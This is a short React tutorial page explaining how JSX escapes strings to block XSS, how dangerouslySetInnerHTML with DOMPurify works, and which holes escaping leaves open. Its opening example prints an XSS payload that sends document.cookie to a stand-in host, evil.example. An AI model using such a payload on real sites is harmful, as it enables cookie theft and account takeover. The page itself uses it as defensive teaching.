Skip to content
ClapelloNotes by Barath
ReactCh 03 · 6/6
Core3 min readUpdated

React / 15

JSX escapes text, and why that stops XSS

TL;DR

React shows strings as text, never as HTML, which blocks the most common web attack. Here's what it protects, the escape hatch, and the holes it can't close.

The attack

A user submits this as a review:

<img src="x" onerror="fetch('https://evil.example/?c=' + document.cookie)">

If your page inserts it as HTML (element.innerHTML = review), the browser builds a real <img>, the image fails to load, onerror fires, and the attacker's code runs as your site: it can read data, call your APIs, or act as the logged-in user.

What React does instead

function Review({ text }) {
  return <p className="review">{text}</p>;
}

React puts text into the page as a text node. The browser never parses it as HTML, so the tags show up on screen as plain characters. When React renders on the server, it escapes the special characters instead (< becomes &lt;), with the same result. Attribute values in braces are escaped the same way.

Post a sneaky review

Try it

<p>{review}</p> · on screen

<img src="x" onerror="alert('hacked')">

Shown as text. Server-rendered HTML would send it escaped:

&lt;img src=&quot;x&quot; onerror=&quot;alert(&#x27;hacked&#x27;)&quot;&gt;

innerHTML / dangerouslySetInnerHTML

The browser would parse it as HTML. An <img> with a broken src fires onerror, and that code runs on your site, with your user's cookies and data.

(Not run here, for obvious reasons.)

Whatever you type, React shows it as plain text. Nothing here ever goes through innerHTML, so nothing can run.

The escape hatch: dangerouslySetInnerHTML

Sometimes you really do need HTML, like blog content from your own CMS. React makes you spell out the risk:

Don't

Raw HTML from users

<div dangerouslySetInnerHTML={{ __html: review }} />

Any HTML the user typed goes straight into the page.

Do

Sanitise first

import DOMPurify from "dompurify";
 
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(review) }} />

DOMPurify keeps safe tags like <b> and strips scripts, event handlers and other dangerous bits.

The long, scary name and the odd { __html: … } shape are deliberate. They make it easy to spot in code review and hard to type by accident.

Holes that escaping can't close

  • dangerouslySetInnerHTML: covered above.
  • Direct DOM writes: ref.current.innerHTML = text bypasses React completely.
  • User-supplied URLs: <a href={user.website}>. React 19 blocks javascript: URLs (it swaps in a URL that throws an error), but still allow only http: and https: links that you've checked.
  • Spreading untrusted objects as props: <div {...dataFromApi} /> lets the data choose props, including dangerouslySetInnerHTML. Pick the fields you need instead.

Gotchas

Recall

Can you answer these?

0/4

Answer out loud (or in your head) before you tap. That's what makes it stick.

Saved on this device only. No login.